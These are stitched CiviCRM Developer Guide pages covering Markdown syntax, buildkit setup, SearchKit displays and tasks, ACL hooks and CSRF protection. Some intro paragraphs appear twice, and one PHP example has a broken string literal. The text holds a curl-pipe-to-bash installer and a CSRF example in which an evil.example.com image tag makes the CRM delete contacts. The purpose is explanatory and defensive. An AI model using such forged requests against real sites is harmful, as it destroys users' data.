style="color:#000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:16px;line-height:25px;font-family:Roboto;-inkscape-font-specification:Roboto;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:center;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:middle;white-space:normal;shape-padding:0;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
x="427.66547"
y="452.68924"
id="text4806"><tspan
sodipodi:role="line"
id="tspan4804"
x="427.66547"
y="452.68924">Server shell commands</tspan></text>
</g>
</svg>
# CiviCRM Developer Guide
[CiviCRM](https://civicrm.org) is an open-source application. The code can be
poked, prodded, twisted, and hacked. It can be customized, extended, and
collaboratively developed. This documentation tells you how to do that.
[CiviCRM](https://civicrm.org) is an open-source application. The code can be poked, prodded, twisted, and hacked. It can be customized, extended, and collaboratively developed. This documentation tells you how to do that.
It starts with a high level introduction to get you familiar
with CiviCRM development. It covers setting up your developer environment,
ensuring that you really need to start coding (i.e. you can't achieve what you
want thought configuration or installing an already existing extension), best
practice ways to extend CiviCRM (aka how to write an extensions), things you
should know before you start hacking on core, and best practice for testing.
It starts with a high level introduction to get you familiar with CiviCRM development. It covers setting up your development environment, checking whether or not you actually need to implement your own custom code (i.e. you can't achieve what you want through configuration or installing an already existing extension), best practice ways to extend CiviCRM (a.k.a. how to write an extension), things you should know before you start hacking on core, and best practice for testing.
The guide also includes detailed references for tools and subsystems
of CiviCRM. These cover topics like the API and hook system and are intended
for use by people that are familiar with CiviCRM development.
The guide also includes detailed references for tools and subsystems of CiviCRM. These cover topics like the API and hook system and are intended for use by people that are familiar with CiviCRM development.
## Editing & reading offline
## Editing this guide
- This documentation is made with mkdocs and
[stored in GitHub](https://github.com/civicrm/civicrm-dev-docs)
- See the "[Writing Documentation](documentation.md)" section in this guide
for specific details on editing this documentation (and others using
mkdocs). You can also learn how to read these docs off-line!
* This guide is made with MkDocs and stored in a [git repository](https://lab.civicrm.org/documentation/docs/dev).
* See the "[Writing Documentation](documentation/index.md)" section in this guide for specific details on editing this guide.
## Migration of content is in progress
## Credits
As of early 2017 we are actively working to migrate content from the [wiki] to
this guide. Read more about this [migration process][migration], including how
to help out!
[wiki]: http://wiki.civicrm.org/confluence/display/CRMDOC/Develop
[migration]: https://wiki.civicrm.org/confluence/display/CRMDOC/Content+migration+from+wiki+to+Developer+Guide
## Other sources of information
As an open-source project, CiviCRM is managed by an international community of
developers and activists. Help from these people can be found in the following
ways:
- Our [chat rooms](https://chat.civicrm.org/) and
[mailing lists](http://lists.civicrm.org/lists/info/civicrm-dev) are great
places to say hello and discuss CiviCRM issues with others.
- If you need help, your best bet is probably our
[stack exchange Q+A site](http://civicrm.stackexchange.com/).
- If you've identified a problem, you can file issues on our
[issue](http://issues.civicrm.org/) on our issue tracker or fix the issue
and submit a pull request on
[Github](https://github.com/civicrm/civicrm-core/).
- If you've written an extension, please share it in our
[extensions directory](https://civicrm.org).
- Use the [wiki](http://wiki.civicrm.org/confluence/display/CRM/CiviCRM+Wiki)
to share drafts, notes, and specs.
- And don't forget you are always welcome to come to a
[real world event](https://civicrm.org/events) like a conference meet-up
or sprint.
This guide is collaboratively written by the CiviCRM community, with facilitation from the [Documentation Working Group](https://civicrm.org/working-groups/documentation).
# Markdown Syntax
Learning [Markdown](https://en.wikipedia.org/wiki/Markdown)
language is useful for:
- Writing CiviCRM [extensions](extend) -- In order for your extension to be
compliant, you must provide extension documentation, written in markdown.
- Writing other *.md* files that display on [GitHub]
- Contributing to CiviCRM [documentation](documentation)
- Chatting on [Mattermost](http://chat.civicrm.org)
- Q&A on [Stack Exchange](http://civicrm.stackexchange.com)
[GitHub]: https://github.com
Markdown language is mostly consistent across these platforms, but some
discrepancies do exist and should be noted below.
## Basics
- `*italics*`
- `**bold**`
- `***bold and italic***`
- `~~strikethrough~~` *(GitHub/Mattermost/StackExchange)*
- `<del>strikethrough</del>` *(mkdocs)*
Alternate syntax: Underscores for `_italics_` and `__bold__` also work on most
platforms.
## Hyperlinks
- A basic hyperlink
Try [CiviCRM](https://civicrm.org) for your database.
- With long URLs, the following syntax is better.
See [this issue][CRM-19799] for more details.
[CRM-19799]: https://issues.civicrm.org/jira/browse/CRM-19799
- The second line can be placed anywhere in the file.
- Optionally, if the link ID ("CRM-19799" in this case) is omitted, you
can use the link text ("this issue") to reference the link in the
second line.
## Line breaks and whitespace
**Single line breaks** in markdown code are eliminated in display:
```md
This text will all show up
on the
same
line.
```
This makes it easy to avoid very long lines in markdown code. As a rule of
thumb, keep your markdown code free of lines longer than 80 characters
where possible.
**Double line breaks** create separate paragraphs:
```md
This is
one paragraph.
This is a second.
```
## Headings
```md
# Heading 1
## Heading 2
### Heading 3
#### Heading 4
```
Alternate syntax (only works for h1 and h2):
```md
Heading 1
=========
Heading 2
---------
```
***Convention:*** Each page should have one and only one *Heading 1*,
which should be at the top of the page as a page title. Other headings within
page content should be level 2 or greater.
## Lists
### Unordered lists
```md
- My first item is here.
- My second item is here and a
bit longer than the first.
- Then, a third.
```
Alternate syntax:
- Unordered lists also recognize `*` and `+` as item delimiters.
- Markdown is somewhat flexible with the quantity and position of spaces when
making lists, but using 3 spaces after the dash means that sub-lists look
nicer in code.
### Ordered lists
```md
1. Item
1. Item
1. Item
```
Alternate syntax:
- Ordered lists items are automatically re-numbered sequentially upon display
which means all items can begin with `1`, or they can be ordered
sequentially in code.
### Nested lists
List items must be indented 4 spaces:
```md
1. Item
1. Item
2. Item
2. Item
* Item
* Item
* Item
3. Item
```
## Code
### Inline code
Use backticks to create inline monospace text:
```md
Some `monospace text` amid a paragraph.
```
And if you need to put a backtick inside your monospace text, begin and end
with two backticks:
```md
Some ``monospace text with `backticks` inside``, and all amid a paragraph.
```
### Code blocks
A block of **"fenced code"** with three or more backticks on their own line.
````md
```
CODE
BLOCK
```
````
*Fenced code can use more backticks when necessary to represent code with
3 backticks (which is what you'd see in the source for this page).*
Alternate syntax: For fenced code, the tilde `~` character also works
in place of the backtick character but should be avoided for consistency.
A block of **"indented code"** with four spaces at the start of each line:
```md
CODE
BLOCK
```
### Syntax highlighting for code
- For code blocks, most platforms (e.g. mkdocs, GitHub) will guess guess the
language of the code and automatically apply syntax highlighting to the
display.
- To force a particular type of syntax highlighting, use fenced code with a
keyword (like `javascript` in this case) as follows:
```javascript
var cj = CRM.$ = jQuery;
```
- Available language keywords for forced syntax highlighting differ slightly
by markdown platform, but here are some common ones:
`as`, `atom`, `bas`, `bash`, `boot`, `c`, `c++`, `cake`, `cc`, `cjsx`,
`cl2`, `clj`, `cljc`, `cljs`, `cljsc`, `cljs.hl`, `cljx`, `clojure`,
`coffee`, `_coffee`, `coffeescript`, `cpp`, `cs`, `csharp`, `cson`, `css`,
`d`, `dart`, `delphi`, `dfm`, `di`, `diff`, `django`, `docker`,
`dockerfile`, `dpr`, `erl`, `erlang`, `f90`, `f95`, `freepascal`, `fs`,
`fsharp`, `gcode`, `gemspec`, `go`, `groovy`, `gyp`, `h`, `h++`,
`handlebars`, `haskell`, `haxe`, `hbs`, `hic`, `hpp`, `hs`, `html`,
`html.handlebars`, `html.hbs`, `hx`, `iced`, `irb`, `java`, `javascript`,
`jinja`, `jl`, `js`, `json`, `jsp`, `jsx`, `julia`, `kotlin`, `kt`, `ktm`,
`kts`, `lazarus`, `less`, `lfm`, `lisp`, `lpr`, `lua`, `m`, `mak`,
`makefile`, `markdown`, `matlab`, `md`, `mk`, `mkd`, `mkdown`, `ml`, `mm`,
`nc`, `objc`, `obj-c`, `objectivec`, `ocaml`, `osascript`, `pas`, `pascal`,
`perl`, `php`, `pl`, `plist`, `podspec`, `powershell`, `pp`, `ps`, `ps1`,
`puppet`, `py`, `python`, `r`, `rb`, `rs`, `rss`, `ruby`, `rust`, `scala`,
`scheme`, `scm`, `scpt`, `scss`, `sh`, `sld`, `smalltalk`, `sql`, `st`,
`swift`, `tex`, `thor`, `v`, `vb`, `vbnet`, `vbs`, `vbscript`, `veo`,
`xhtml`, `xml`, `xsl`, `yaml`, `zsh`
- Syntax highlighting cannot be forced for indented code.
- Syntax highlighting is not available for inline code.
- [Stack Exchange syntax highlighting][stack exchange syntax highlighting] is
done differently.
[stack exchange syntax highlighting]: http://stackoverflow.com/editing-help#syntax-highlighting
### Code blocks within lists
You can use **indented code within lists** by keeping a blank line
above/below and indenting *4 spaces more than your list content*, like this:
```md
- First item
- Look at this code:
CODE BLOCK WITHIN
TOP LEVEL LIST ITEM
- More list items
- A nested list is here:
1. Alpha
2. Beta, with some code
CODE BLOCK WITHIN
SUB-LIST ITEM
3. Gamma
- Fun, right?
```
**Fenced code within lists** is shown below. It works on GitHub but **not
mkdocs**:
````md
- First item
- Look at this code:
```md
code
block
```
- More list items
````
## Images
Images function mostly the same as hyperlinks, but preceded by an exclamation
point and with alt text in place of the link text.
```md
![Alt text](image.png)
```
or
```md
![Alt text][id]
[id]: image.png
```
## Other markdown syntax
- [Tables] (to be avoided when possible)
- [Emojis] (great for Mattermost)
- Blockquotes
> This text is a blockquote, typically used
> to represent prose written by a person. It
> will be displayed slightly indented.
[Emojis]: http://www.webpagefx.com/tools/emoji-cheat-sheet/
[Tables]: https://help.github.com/articles/organizing-information-with-tables
## External references
- [Mattermost markdown](https://docs.mattermost.com/help/messaging/formatting-text.html)
- [Stack Exchange markdown](http://stackoverflow.com/editing-help)
- [GitHub markdown](https://help.github.com/categories/writing-on-github/)
- [Official markdown reference](https://daringfireball.net/projects/markdown/syntax)
(though somewhat difficult to read)
# Development requirements
## Languages and Services
- Unix-like environment (Linux, OS X, or a virtual machine)
- [PHP v5.3+](http://php.net/)
- [MySQL v5.1+](http://mysql.com/)
- [NodeJS](https://nodejs.org/)
- [Git](https://git-scm.com/)
- Recommended: Apache HTTPD v2.2+
- Recommended: Ruby/Rake
## Command Line
There are many ways to install MySQL, PHP, and other dependencies -- for
example, `apt-get` and `yum` can download packages automatically; `php.net`
and `mysql.com` provide standalone installers; and MAMP/XAMPP provide
bundled installers.
Civi development should work with most packages -- but there's one proviso:
***the command-line must support standard commands*** (`php`, `mysql`,
`node`, `git`, `bash`, etc).
Some packages are configured properly out-of-the-box. (Linux distributions
do a pretty good job of this.) Other packages require extra configuration
steps (e.g. [Setup Command Line
PHP](http://wiki.civicrm.org/confluence/display/CRMDOC/Setup+Command-Line+PHP)
for MAMP).
In subsequent steps, the download script will attempt to identify
misconfigurations and display an appropriate message.
## Buildkit
The developer docs reference a large number of developer tools, such as
`drush` (the Drupal command line), `civix` (the CiviCRM code-generator), and
`karma` (the Javascript tester).
Many of these tools are commonly used by web developers, so you may have
already installed a few. You could install all the tools individually --
but that takes a lot of work.
[civicrm-buildkit](https://github.com/civicrm/civicrm-buildkit) provides
a script which downloads the full collection.
### Installing buildkit on Ubuntu
If you have a new installation of Ubuntu 12.04 or 14.04, then you can download
everything -- buildkit and the system requirements (`git`, `php`, `apache`,
`mysql`, etc) -- with one command. This command will install buildkit to
`~/buildkit`:
```bash
curl -Ls https://civicrm.org/get-buildkit.sh | bash -s -- --full --dir ~/buildkit
```
Note:
- When executing the above command, you must ***NOT*** run as `root`.
(Doing so will produce incorrect permissions.) Instead, you must have
`sudo` permissions.
- The `--full` option is opinionated; it specifically installs `php`,
`apache`, and `mysql` (rather than `hvm`, `nginx`, `lighttpd`, or
`percona`). If you try to mix `--full` with alternative systems, then
expect conflicts.
### Installing buildkit on other systems
If you already installed the requirements (`git`, `php`, etc), then you can
download buildkit to `~/buildkit` with these commands:
```bash
git clone https://github.com/civicrm/civicrm-buildkit.git buildkit
cd buildkit/bin
./civi-download-tools
export PATH="$PWD:$PATH"
```
### Upgrading buildkit
If you have previously downloaded buildkit and want to update it, run:
```bash
cd buildkit
git pull
./bin/civi-download-tools
```
# Search Kit Displays
SearchKit Displays are responsible for rendering the results of a SavedSearch query.
Each Display has a "type". Most types (Table, List, Grid) are intended to render as part of a webpage (see Embedding Displays),
but a few types have specialized output such as an [Autocomplete display](../framework/autocomplete.md) which populates a form dropdown-select,
or an Entity display which writes to a SQL table.
## Embedding Displays
Search displays can be embedded in any AngularJS content with their component tag, which requires the name of the SavedSearch,
the name of the Display, the name of the entity and the configuration settings, e.g.
```
<crm-search-display-list search="'MySavedSearch'" display="'MyListDisplay'" api-entity="Contact" settings="{style: 'ul', limit: 50, pager: true, columns: [{key: 'id', dataType: 'Integer', type: 'field'}, {key: 'display_name', dataType: 'String', type: 'field'}]}">
</crm-search-display-list>
```
That's a lot of data to insert into the markup, and it would get out-of-sync with any updates made to the SavedSearch or SearchDisplay
in the database. So Search Kit implements a markup preprocessor to insert the configuration data at runtime. All it needs is the
`search-name` and `display-name` and it will add the rest:
```
<crm-search-display-list search-name="MySavedSearch" display-name="MyListDisplay"></crm-search-display-list>
```
Note: The preprocessor only works on [Afforms](../afform/search-forms.md).
## Creating a New Display Type
An extension can add new display types in addition to the ones included with Search Kit (Table, List, etc).
1. Add the name of the new display type to the `search_display_type` option list. [`hook_civicrm_managed()`](../hooks/hook_civicrm_managed.md)
is recommended.
2. Create an AngularJS module.
3. In the module's `.ang.php` file, set `'basePages' => ['civicrm/search', 'civicrm/admin/search']` and `'exports' => ['name-of-your-search-display']`.
4. Add an admin component (ex: `searchAdminDisplayList.component.js`)
5. Add a display component (ex: `crmSearchDisplayList.component.js`)
## Embedding an afform in a Smarty Page using [Regions](https://docs.civicrm.org/dev/en/latest/framework/region/)
An extension can embed an afform in a CiviCRM Smarty Page using the regions specified in the template. By default, a page would have 3 specified regions: `page-header`, `page-body`, `page-footer`. Additional regions can be added to the page using the `{crmRegion}` tag. The following steps would help in embedding an afform in any of the Smarty Page assigned regions:
1. Identify the region on the page by which the afform would be attached. If the template doesn't have custom regions set, you can either set one or use the default `page-body` region. Using the default `page-body` would attach the afform to the bottom of the page right above the footer.
2. Paste the following code in the [pageRun Hook](https://docs.civicrm.org/dev/en/latest/hooks/hook_civicrm_pageRun/) of the afform entity's extension:<br/>
```php
if (get_class($page) === '{DISPLAY_PAGE_CLASS_NAME}') {
Civi::service('angularjs.loader')->addModules('{afformModuleName}');
CRM_Core_Region::instance(`{PAGE_REGION}`)->add([
'markup' => '<crm-angular-js modules="{afformModuleName}"><form id="bootstrap-theme"><{afform-directive-name}></afform-directive-name></form></crm-angular-js>',
]);
}
```
- `{DISPLAY_PAGE_CLASS_NAME}` is the class name for the Smarty page. This can be gotten from the Route entity using the url path to the page. For example, to get the class for the page with path `/lorem/ipsum/text` use: `cv api4 Route.get '{"where":[["path","=","lorem/ipsum/text"]],"limit":25,"select":["page_callback"]}'`
- `{afformModuleName}` and `{afform-directive-name}` can be gotten using the Afform entity and the name of the afform (which can be gotten from the formbuilder/search forms list). For example, to get the moduleName and directiveName for an afform named afTestAfform, use: `cv api4 Afform.get '{"where":[["name","=","afTestAfform"]],"limit":25,"select":["module_name","directive_name"]}'`
- `{PAGE_REGION}` is the specific region where you want the afform to be embedded. For pages with no specified region, using `page-body` should place the afform below the last component on the template before the footer.
3. Refreshing the page should display the afform in the position of the page region.
## Passing data to an afform embedded in a Smarty Page to filter a Search table
Here are the steps to pass data into an embedded afform for filtering by an `id`:
1. Add the data to the `options` attribute of the afform. In the example below, the embedded afform (`afSearchTest`) is passed an `id` with value `100` through the options attribute:
```php
if (get_class($page) === 'CRM_Contribute_Page_DashBoard') {
Civi::service('angularjs.loader')->addModules('afSearchTest');
CRM_Core_Region::instance(`{PAGE_REGION}`)->add([
'markup' => '<crm-angular-js modules="afSearchTest"><form id="bootstrap-theme"><afsearch-test options="{id: 100}"></afsearch-test></form></crm-angular-js>',
]);
}
```
2. In the generated afform html file in the `ang` directory, specify this `id` gotten from the `options` attribute as the filter-by value in the search display table:
```html
<crm-search-display-table search-name="MySavedSearch" display-name="MyListDisplay" filters="{id: options.id}"></crm-search-display-table>
```
# Add a Saved Search in Your Own Extension
## Introduction
You can add a saved search created with Search Kit in your own extension.
If you for example created a saved search like the [Soft Credit Example](https://docs.civicrm.org/user/en/latest/searching/searchkit/soft-credit-example/) and want to include it in your extension
to provide an overview of soft credits and related contributions.
You need 2 simple steps to accomplish this
1. Create the saved search and display(s).
2. Export them to a `.mgd.php` file in your extension.
## Automatic Export (civix)
The 2nd step can be most easily done via the [`civix export` command](../extensions/civix.md#export).
## Manual Export
If civix is not available, you can manually export from the overview of Saved Searches or directly in the API4 Explorer.
This guide details the Saved Search overview and will explain how you to do this directly in the API4 Explorer afterwards.
Once you are on the list of saved searches you can click on the action menu behind each row and select the *export* option: ![Saved Searches export](../img/searchkit/exportsearch.png)
If you select this option you will get the option to save the search to the clipboard but also to _package for distribution_: ![Package for distribution](../img/searchkit/apiexport.png) using the API4 Explorer Export.
If you click on the link you will be presented with a prefilled API Explorer for your Saved Search: ![Prefilled API Explorer](../img/searchkit/prefilled.png).
Now press the **Execute** button and copy the results array, then save this results array into the managed folder in your extension (using the **copy** button is a good idea). You'll also need to add `use CRM_Yourextension_ExtensionUtil as E;` to the top of the file (not shown here).
![Result into Managed](../img/searchkit/managed.png)
If you now install your extension in a new environment your defined search will appear in the Saved Search list under the heading Packaged Searches. You'll need to ensure that you have the `mgd-php` in your mixins in `info.xml` for your Saved Search to show up, which you can do by running `civix mixin --enable=mgd-php@1`.
# Search Kit
## Introduction
The [Search Kit Extension](https://docs.civicrm.org/user/en/latest/searching/searchkit/what-is-searchkit/) is a graphical
search query composer and display editor.
The architecture uses [APIv4](../api/v4/usage.md) to run the queries, and [AngularJS](../framework/angular/index.md) for the UI.
### Features
Search Kit meets a number of developer needs as searches can:
* be saved and exported,
* have any number of unique displays on their own,
* be connected to the dashboard, contact screen or individual URLs,
* have exposed filters for easy filtering,
* be the basis of a Smart Group,
* be used for your own entities custom created for your website,
* be packaged in an extension using [Managed Entities](../searchkit/extension.md).
## Data Model
The main entity in Search Kit is the `SavedSearch`, which contains the APIv4 parameters needed for running the query.
Each SavedSearch can have zero or more [Displays](displays.md), which are stored in the DB as the `SearchDisplay` entity,
and rendered on the page as AngularJS components.
## Integrations
A SearchDisplay can be embedded in [Afform](../afform/search-forms.md) create standalone pages, contact summary tabs, modal popups, or dashboard dashlets.
![Diagram of Searchkit Formbuilder](../img/searchkit/searchkit-formbuilder-schema.png)
# Search Kit - Query Building with APIv4
## Entities
Any APIv4 entity can be made available to Search Kit. Even nontraditional entities that do not
correspond to a SQL table will work as long as they have a `get` action.
## Searchability
Whether an entity appears in Search Kit depends on the `@searchable` annotation at the top of the API entity class
(if not present the entity defaults to "secondary"):
- `@searchable primary`: Appears at top of main entity list in Search Kit.
- `@searchable secondary` *(default)*: Appears in "Other" section at bottom of entity list.
- `@searchable bridge`: Does not appear in entity list but Search Kit will use it to join other entities together.
- `@searchable none`: Does not appear anywhere in Search Kit.
## Joins
Search Kit automatically builds a list of entities that can be joined, based on foreign-keys from the schema.
When the user selects a join in the admin UI, the criteria for linking those entities is invisibly added.
## Option Lists
APIv4 supports a syntax for resolving option lists based on suffixes, for example selecting `activity_type_id:label`
will return "Meeting" instead of the id `1`. The Search Kit UI invisibly adds the `:label` suffix to every field with an option list
so that results are returned formatted for display.
## The `SearchDisplay::run` API
SearchDisplay results are loaded indirectly via the `SearchDisplay::run` API. This gives Search Kit more control of the
permission model, and the chance to add filters.
\ No newline at end of file
# Search Kit - Links and Tasks
## Overview
SearchKit allows users to take action on the results via _links_ and _tasks_.
- **Links** point to an actual page url (could be a traditional page-route or an Afform with a route).
- **Tasks** perform api actions on one or more selected records. Tasks appear in the dropdown menu above a search display.
A task can also be presented as a link if it's suitable for a single record.
- **Legacy Tasks** are page urls for bulk tasks from older searches. SearchKit is able to present them
in the dropdown as well.
## Links
Links are gathered for an entity using the `getLinks` Api4 action. For most entities this api
returns a handful of paths e.g. to add/view/update/delete entities.
Some entities implement hooks to expand or customize these links, for example Activity.getLinks
will return multiple "add" links for various activity types, which SearchKit automatically transforms
into a dropdown menu in the toolbar. It also returns specialized 'update' links for some activity types.
To programmatically alter the links available to an entity, use a class (example: [`ContactLinksProvider`](https://github.com/civicrm/civicrm-core/blob/master/Civi/Api4/Service/Links/ContactLinksProvider.php))
to implement callbacks for one or both of these events:
- **`civi.api4.getLinks`:** Allows you to add or alter the stock list of links for an entity.
- **`civi.api.respond`:** Generic api post-event is useful if you want to alter links based on entity values
(e.g. the [`ActivityLinksProvider`](https://github.com/civicrm/civicrm-core/blob/master/Civi/Api4/Service/Links/ActivityLinksProvider.php)
uses this to contextually alter links based on input values.
!!! tip "More on the schema"
You can see where links are initially defined for entities in [Schema defintion](../framework/entities/index.md)
Search Kit treats anything within brackets like a token and replaces the value,
e.g. `[id]` becomes the actual contact ID for each row.
## Tasks
### Angular-based Tasks
New tasks built for Search Kit consist of an Angular controller, which receives the name of the entity (e.g. "Contact")
and an array of IDs to be acted upon. Typically this controller will present the user with a configuration form, and then
run `crmSearchBatchRunner` which performs an api action on 500 records at a time & shows a progress bar to the user.
Note that the api that is called needs to be the same entity as the Search Kit entity. For example if you want to take a custom action on a contact you should ensure the entity for your custom action is 'Contact'
Extensions wishing to add new actions to Search Kit should implement [`hook_civicrm_searchKitTasks`](../hooks/hook_civicrm_searchKitTasks.md).
### ApiBatch Tasks (available in CiviCRM 5.56+)
For tasks that involve calling an api action once per row, extensions can skip writing their own Angular templates and controllers
by setting 'apiBatch' which will use a generic controller and template provided by SearchKit. When implementing
[`hook_civicrm_searchKitTasks`](../hooks/hook_civicrm_searchKitTasks.md), add the following settings
(example from the Delete action):
```php
$tasks[$entityName]['delete'] = [
'title' => E::ts('Delete %1', [1 => $entity['title_plural']]),
'icon' => 'fa-trash',
'apiBatch' => [
'action' => 'delete', // Name of API action to call once per row
// note that entity cannot be specified and will be the same as `$entityName`
'params' => NULL, // Optional array of additional api params
'confirmMsg' => E::ts('Are you sure you want to delete %1 %2?'), // If omitted, the action will run immediately with no confirmation
'runMsg' => E::ts('Deleting %1 %2...'),
'successMsg' => E::ts('Successfully deleted %1 %2.'),
'errorMsg' => E::ts('An error occurred while attempting to delete %1 %2.'),
],
];
```
Note that strings within the `apiBatch` setting should be translated but will be further processed by javascript to replace
the following tokens:
- **`%1`:** Row count
- **`%2`:** Title of entity (pluralized if count > 1)
### ApiBatch Tasks with custom APIv4 action
`apiBatch['action']` can also be a custom APIv4 action
### ApiBatch Tasks with user input (available in CiviCRM 5.80+)
The values to be used in the batch action can be specified by the user. Use the 'fields' param.
```php
$tasks['Contact']['set_source'] = [
'title' => E::ts('Set contact source),
'icon' => 'fa-trash',
'apiBatch' => [
'action' => 'update', // Name of API action to call once per row
// note that entity cannot be specified and will be the same as `$entityName`
'fields' => [['name' => 'contact_source', 'required' => TRUE, 'default_value' => 'Tis a mystery'], // Array of fields to prompt for. Values are then used in the update.
'confirmMsg' => E::ts('Are you sure you want to set source for %1 %2?'), // If omitted, the action will run immediately with no confirmation
'runMsg' => E::ts('Setting source for %1 %2...'),
'successMsg' => E::ts('Successfully set source for %1 %2.'),
'errorMsg' => E::ts('An error occurred while attempting to set source for %1 %2.'),
],
];
```
### Legacy Search Tasks
For transitional purposes, Search Kit supports many of the tasks from Advanced Search,
namely the ones that work in "standalone" mode (can be accessed via a url outside of the Advanced Search screen).
To illustrate, here's a snippet from `CRM_Contact_Task`:
```
self::TASK_PRINT => [
'title' => ts('Print selected rows'),
'class' => 'CRM_Contact_Form_Task_Print',
'result' => FALSE,
],
self::LABEL_CONTACTS => [
'title' => ts('Mailing labels - print'),
'class' => 'CRM_Contact_Form_Task_Label',
'result' => TRUE,
'url' => 'civicrm/task/make-mailing-label',
'icon' => 'fa-print',
],
```
Notice that the first task does not contain a `url` key and therefore is not available in Search Kit,
whereas the second task is accessible via a standalone url (and looks nice in the task list because of the `icon`).
Any task with a `url` property added via [`hook_civicrm_searchTasks`](../hooks/hook_civicrm_searchTasks.md)
will appear in Search Kit as well.
For _Contact_ searches, the above should be sufficient, and the `$form->_contactIds` variable will be populated with the selected record ids as usual. For other searches such as on _Contributions_, the `$form->_contributionIds` variable will __not__ be populated for you as usual. You will need to retrieve it in preProcess() using e.g. `$this->_contributionIds = explode(',', $this->get('id'));`
# Access Control in CiviCRM
## Introduction
CiviCRM has a system of Access Control Lists (ACLs) which allow administrators to customise what information groups of their users are able to see. ACLs work alongside the system of permissions set out by CiviCRM which is integrated in the Content Management System's Permissions structure.
## Context
Access Control is used to control access to CiviCRM data and functionality. This is done through Access Control Lists (ACL's). An ACL consists of:
1. A Role that has permission to do this operation ('Administrator', 'Team Leader'),
2. An Operation (e.g. 'View' or 'Edit'), and
3. A set of Data that the operation can be performed on (e.g. a group of contacts)
Example: there may be a role called "Team Leaders" that can "Edit" all the contacts within the "Active Volunteers Group"
## Within Code
Much of the ACL control process happens within the `CRM/ACL/Api.php` file and `CRM/ACL/BAO/Acl.php` file. These files demonstrate how the ACL is used to add clauses to the WHERE statement of queries that are generated within CiviCRM. Many of these functions will be called from within the relevant CMS system files in `CRM/Utils/System/xxx.php` where xxx is the UF name of your CMS. e.g. Drupal 7 is Drupal, Drupal 8 is Drupal8 etc. These functions are usually checked at run time and are very low level.
## Extending ACLs
There are a few ACL hooks that allow developers in their extension to extend the implementation of various ACLs for their own purposes.
- [`hook_civicrm_aclGroup`](../hooks/hook_civicrm_aclGroup.md) This hook alters what entities (e.g. CiviCRM Groups, CiviCRM Events) an end user is able to see.
- [`hook_civicrm_aclWhereClause`](../hooks/hook_civicrm_aclWhereClause.md) This hook adds extra SQL statements when the ACL contact cache table is to be filled up. Depending on how frequently your ACL cache is cleared this may become taxing on your database.
- [`hook_civicrm_selectWhereClause`](../hooks/hook_civicrm_selectWhereClause.md) This hook was introduced in 4.7 and allows you to add specific restrictions or remove restrictions when querying specific entities. This is different to `hook_civicrm_aclWhereClause` because that only deals with contacts and limiting of contacts and also `hook_civicrm_selectWhereClause` is run every time a select query for that entity is run.
It should be noted that especially with `hook_civicrm_selectWhereClause` there is little CiviCRM Core test coverage on these items so it is always very important that administrators test their own ACLs when testing any upgrade to CiviCRM.
# Cross Site Request Forgery (CSRF)
## General
### What is CSRF?
_Cross-site request forgery (CSRF)_ is a type of browser-based attack involving a user who visits two sites:
* A web-based user logs into one site (eg `https://crm.example.org`). They have an *active browser session/cookie* on this site.
* Later, the same user casually browses to another site (eg `https://evil.example.com`).
* The `evil.example.com` site emits some kind of hyperlink (`<A HREF>`, `<FORM ACTION>`, `<IFRAME>`, `<IMG>`, `<SCRIPT>`, etc) which
tells the browser to send a request to `crm.example.org`, eg
```html
<img src="https://crm.example.org/civicrm/ajax/rest?entity=Contact&action=delete&..."/>
```
* The browser requests this hyperlink. Because the user has an active session and suitable permission, `crm.example.org`
performs the requested action (eg deleting random contacts).
* Of course, the user didn't actually want to delete anything. This was a surreptitious request sent on their behalf.
### How does CiviCRM protect against CSRF?
There are different techniques - some techniques are used for [REST services (eg APIv3/APIv4)](#rest); other techniques are used for
[web forms (such as HTML_QuickForm)](#quickform).
### When should CSRF protections be required?
Requests which actively manipulate data must have CSRF protection. For example, `civicrm/ajax/rest` must have CSRF protection.
Requests which passively display linkable screens must _not_ have CSRF protection. For example, `civicrm/event/info` must not have CSRF protection.
Many workflows involve a hybrid. For example, it is useful to have external hyperlinks to `civicrm/event/register`. The first page-load
presents a form to a user; this page does not require CSRF protection. As the user interacts with the form (eg using rich widgets that require
APIs; eg submitting the form to finish regstration), the page sends additional requests - and these do require CSRF protection.
## APIv3/APIv4 REST {:#rest}
All requests for [APIv3 REST](../api/v3/rest.md) and [APIv4 REST](../api/v4/rest.md) are assessed for CSRF risk - they must have some attribute to indicate that CSRF is not a concern. Either:
* Send the header `X-Requested-With: XMLHttpRequest`.
* Authenticate with a mechanism that is not susceptible to CSRF.
The rationales for each are examined below.
### When does APIv3/APIv4 require `X-Requested-With`?
It varies by version, authentication mechanism, and/or end-point. For APIv3/APIv4:
* After v5.47+, CSRF protection depends on the authentication mechanism:
* `X-Requested-With:` is required if you authenticate with standard HTTP headers (`Cookie:` or `Authorization:`).
* `X-Requested-With:` is not required for bespoke authentication mechanisms (`X-Civi-Auth:`, `?_authx=`, `?api_key=`).
* Before v5.47, CSRF protection depends on the end-point URL:
* `X-Requested-With:` is required by `civicrm/ajax/*` -- regardless of whether you use standard or bespoke authentication.
* `X-Requested-With:` is not required by `extern/rest.php`. This is not required because `extern/rest.php` only supports bespoke authentication (`?api_key`).
### How does `X-Requested-With` mitigate CSRF?
When the browser follows a regular HTML hyperlink, it only sends standard headers. `X-Requested-With:` is a custom-header.
`evil.example.com` can generate HTML hyperlinks in many ways (`<A HREF>`, `<FORM ACTION>`, etc), but none of them can specify the
custom-header `X-Requested-With:`.
Browsers will send custom-headers under some other circumstances; notably, Javascript logic can send a custom-header. However, this is
subject to the standard *Same Origin Policy*. Javascript on `https://crm.example.org` can send custom-headers to `crm.example.org`; but
Javascript on `https://evil.example.com` cannot.
### What authentication mechanisms are susceptible to CSRF?
